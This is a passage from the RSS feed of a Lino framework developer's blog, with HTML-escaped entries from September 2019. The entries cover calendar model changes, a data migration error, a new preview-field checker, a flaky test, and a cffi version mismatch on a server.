&lt;li&gt;&lt;p&gt;Changed the default value for &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EventType.fill_presences" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EventType.fill_presences&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; from True to
False.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer relies on
is_appointment and fill_presences to select the “Absences” entry type.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Note the difference between “guest” and “presence”. The model name is currently
still &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.Guest&lt;/span&gt;&lt;/code&gt;, but this should be renamed to &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal.Presence&lt;/span&gt;&lt;/code&gt;.
Because the “guest” is actually the field of a presence which points to the
person who is the guest.&lt;/p&gt;
&lt;p&gt;Note that the transparence is meant for the responsible user (e.g. in Tera and
Avanti). In Presto it should check for availability of the guests (who are
actually workers), but this is currently not a requirement.&lt;/p&gt;
&lt;p&gt;Note that “appointment” means that other people (external partners or
colleagues) are involved and should be informed about schedule changes.&lt;/p&gt;
&lt;p&gt;TODO: review the specs, use glossary terms, …&lt;/p&gt;
&lt;/section&gt;
&lt;section id="duemovement-object-has-no-attribute-get-detail-action"&gt;
&lt;h2&gt;‘DueMovement’ object has no attribute ‘get_detail_action’&lt;a class="headerlink" href="#duemovement-object-has-no-attribute-get-detail-action" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Wow, a rather impressing bug has been living under the hood for quite some time:
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3211"&gt;#3211&lt;/a&gt;. That was because &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.DueMovement" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.DueMovement&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; didn’t
inherit from &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.fields.TableRow&lt;/span&gt;&lt;/code&gt;.  Some time ago when I
introduced TableRow, I thought that it is a reasonable requirement to say that
table rows cannot be “just any object” but must inherit from TableRow.
DueMovement was already written at that time, and I forgot to converrt it.&lt;/p&gt;
&lt;p&gt;I fixed it and did an upgrade on the new demo server.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="changing-choicelist-values-requires-data-migration"&gt;
&lt;h2&gt;Changing choicelist values requires data migration&lt;a class="headerlink" href="#changing-choicelist-values-requires-data-migration" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I also decided to pull the new version on &lt;a class="reference internal" href="../../about/jargon.html#prod-rumma"&gt;&lt;span class="std std-ref"&gt;prod.rumma&lt;/span&gt;&lt;/a&gt;. Oops, here I got
an exception &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.exceptions.UnresolvedChoice:&lt;/span&gt; &lt;span class="pre"&gt;Unresolved&lt;/span&gt; &lt;span class="pre"&gt;value&lt;/span&gt;
&lt;span class="pre"&gt;'200'&lt;/span&gt; &lt;span class="pre"&gt;(&amp;lt;class&lt;/span&gt; &lt;span class="pre"&gt;'str'&amp;gt;)&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;products.ProductTypes&lt;/span&gt; &lt;span class="pre"&gt;(set&lt;/span&gt;
&lt;span class="pre"&gt;Site.strict_choicelist_values&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;False&lt;/span&gt; &lt;span class="pre"&gt;to&lt;/span&gt; &lt;span class="pre"&gt;ignore&lt;/span&gt; &lt;span class="pre"&gt;this)&lt;/span&gt;&lt;/code&gt; when running
&lt;a class="reference external" href="https://hosting.lino-framework.org/snapshot/#xfile-make_snapshot.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_snapshot.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I guess that Hamza did not migrate the database when he made an upgrade,
otherwise I don’t see how we got there. Fortunately
&lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.strict_choicelist_values" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.strict_choicelist_values&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; saved the situation: it
accepted to make at least a snapshot. Of course, now when running
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, I get the errors Hamza should have gotten:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Abandoning&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="n"&gt;unsaved&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Product&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;product_type&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Value &amp;lt;ProductTypes:200&amp;gt; is not a valid choice.&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;primary&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;To migrate the data correctly after having removed the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;ProductTypes.services&lt;/span&gt;&lt;/code&gt;, I have to deactivate the line saying
&lt;cite&gt;kw.update(product_type=product_type)&lt;/cite&gt; in the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;create_products_productcat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;product_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="c1"&gt;# kw.update(product_type=product_type)&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;products_Category&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Actually in two places: once in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_products_product()&lt;/span&gt;&lt;/code&gt; and a second
time in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;create_products_productcat()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="a-checker-to-update-preview-fields"&gt;
&lt;h2&gt;A checker to update preview fields&lt;a class="headerlink" href="#a-checker-to-update-preview-fields" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I pulled the newest versions to &lt;a class="reference internal" href="../../about/jargon.html#prod-freunde"&gt;&lt;span class="std std-ref"&gt;prod.freunde&lt;/span&gt;&lt;/a&gt; and verified that
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3210"&gt;#3210&lt;/a&gt; is fixed.&lt;/p&gt;
&lt;p&gt;I opened a new &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3213"&gt;#3213&lt;/a&gt; (DataChecker to check/update body_preview). This
problem started some days after the last upgrade. It is a side effect of
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3110"&gt;#3110&lt;/a&gt;. Wondering why we didn’t see it in &lt;a class="reference internal" href="../../about/friends.html#jane"&gt;&lt;span class="std std-ref"&gt;Jane&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;To fix it, I wrote a new &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#lino.modlib.memo.PreviewableChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;PreviewableChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. En passant I moved the doctrings from
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.memo.html#module-lino.modlib.memo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.memo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/specs/memo.html#dev-memo" title="(in Lino Developer Guide)"&gt;&lt;span&gt;memo : The memo parser&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="tests"&gt;
&lt;h2&gt;Tests&lt;a class="headerlink" href="#tests" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When I run &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;inv&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt; &lt;span class="pre"&gt;test&lt;/span&gt;&lt;/code&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt;, I sometimes get the following
error:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;======================================================================&lt;/span&gt;
&lt;span class="n"&gt;FAIL&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;test_01&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;test_misc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;PackagesTests&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;----------------------------------------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/book/tests/test_misc.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;test_01&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;run_packages_test&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SETUP_INFO&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;packages&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/home/luc/work/atelier/atelier/test.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;108&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;run_packages_test&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;assertEqual&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;found_packages&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;declared_packages&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Lists&lt;/span&gt; &lt;span class="n"&gt;differ&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lin[3653 chars]migs.migrations.about&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_book.projects.mi[4677 chars]ies&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lin[3653 chars]migs.settings&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;lino_book.projects.migs.setti[2879 chars]ies&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="n"&gt;First&lt;/span&gt; &lt;span class="n"&gt;differing&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt; &lt;span class="mi"&gt;107&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;lino_book.projects.migs.migrations.about&amp;#39;&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;lino_book.projects.migs.settings&amp;#39;&lt;/span&gt;

&lt;span class="n"&gt;First&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt; &lt;span class="n"&gt;contains&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="n"&gt;additional&lt;/span&gt; &lt;span class="n"&gt;elements&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;First&lt;/span&gt; &lt;span class="n"&gt;extra&lt;/span&gt; &lt;span class="n"&gt;element&lt;/span&gt; &lt;span class="mi"&gt;188&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;lino_book.projects.nomti&amp;#39;&lt;/span&gt;

&lt;span class="n"&gt;Diff&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;9067&lt;/span&gt; &lt;span class="n"&gt;characters&lt;/span&gt; &lt;span class="n"&gt;long&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Set&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;maxDiff&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;It goes away when I run the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;clean.sh&lt;/span&gt;&lt;/code&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#book-specs-migrate" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Django migrations on a Lino site&lt;/span&gt;&lt;/a&gt;. Seems
that the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;clean.sh&lt;/span&gt;&lt;/code&gt; sometimes fails to do its work. Strange.  I added
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;set&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt; to make sure that it stops when some error occurs, and I added a line
of output in order to make even more sure that it finished.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0920.html</guid><pubDate>Fri, 20 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, September 19, 2019</title><link>https://luc.lino-framework.org/blog/2019/0919.html</link><description>&lt;section id="thursday-september-19-2019"&gt;
&lt;h1&gt;Thursday, September 19, 2019&lt;a class="headerlink" href="#thursday-september-19-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I subtle change in the Lino core in order to optimize testing:
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.utils.diag.html#lino.utils.diag.Analyzer.show_window_fields" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.utils.diag.Analyzer.show_window_fields()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; no longer shows dummy
fields. Because it was irritating to see the
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.LanguageKnowledge.entry_date" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.LanguageKnowledge.entry_date&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field appear in the doctests
for &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; where they don’t want to have this field.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="version-mismatch-this-is-the-cffi-package-version-1-12-3"&gt;
&lt;h2&gt;Version mismatch: this is the ‘cffi’ package version 1.12.3&lt;a class="headerlink" href="#version-mismatch-this-is-the-cffi-package-version-1-12-3" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Back to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt;, continued after &lt;a class="reference internal" href="0918.html"&gt;&lt;span class="doc"&gt;Wednesday, September 18, 2019&lt;/span&gt;&lt;/a&gt; where I stopped
here:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Wed&lt;/span&gt; &lt;span class="n"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;37&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;21.750588&lt;/span&gt; &lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;3357&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;tid&lt;/span&gt; &lt;span class="mi"&gt;140319710512896&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Version&lt;/span&gt; &lt;span class="n"&gt;mismatch&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;this&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cffi&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;package&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt; &lt;span class="mf"&gt;1.12.3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;located&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/lino/lino_local/prod/env/lib/python3.7/site-packages/cffi/api.py&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;When&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;the&lt;/span&gt; &lt;span class="n"&gt;top&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;_cffi_backend&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;extension&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;we&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;version&lt;/span&gt;
&lt;span class="mf"&gt;1.12.2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;located&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/lib/python3/dist-packages/_cffi_backend.cpython-37m-x86_64-linux-gnu.so&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;two&lt;/span&gt; &lt;span class="n"&gt;versions&lt;/span&gt; &lt;span class="n"&gt;should&lt;/span&gt; &lt;span class="n"&gt;be&lt;/span&gt; &lt;span class="n"&gt;equal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;installation&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Looks as if the cffi in the site’s environment is finding the cffi of the
server-wide environment.&lt;/p&gt;
&lt;p&gt;But the server-wide Python does not seem to have cffi installed:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# python3&lt;/span&gt;
&lt;span class="n"&gt;Python&lt;/span&gt; &lt;span class="mf"&gt;3.7.3&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Apr&lt;/span&gt;  &lt;span class="mi"&gt;3&lt;/span&gt; &lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;05&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;GCC&lt;/span&gt; &lt;span class="mf"&gt;8.3.0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;linux&lt;/span&gt;
&lt;span class="n"&gt;Type&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;help&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;copyright&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;credits&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;license&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;information&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;cffi&lt;/span&gt;
&lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;stdin&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="ne"&gt;ModuleNotFoundError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;No&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt; &lt;span class="n"&gt;named&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cffi&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Why then does it have a file
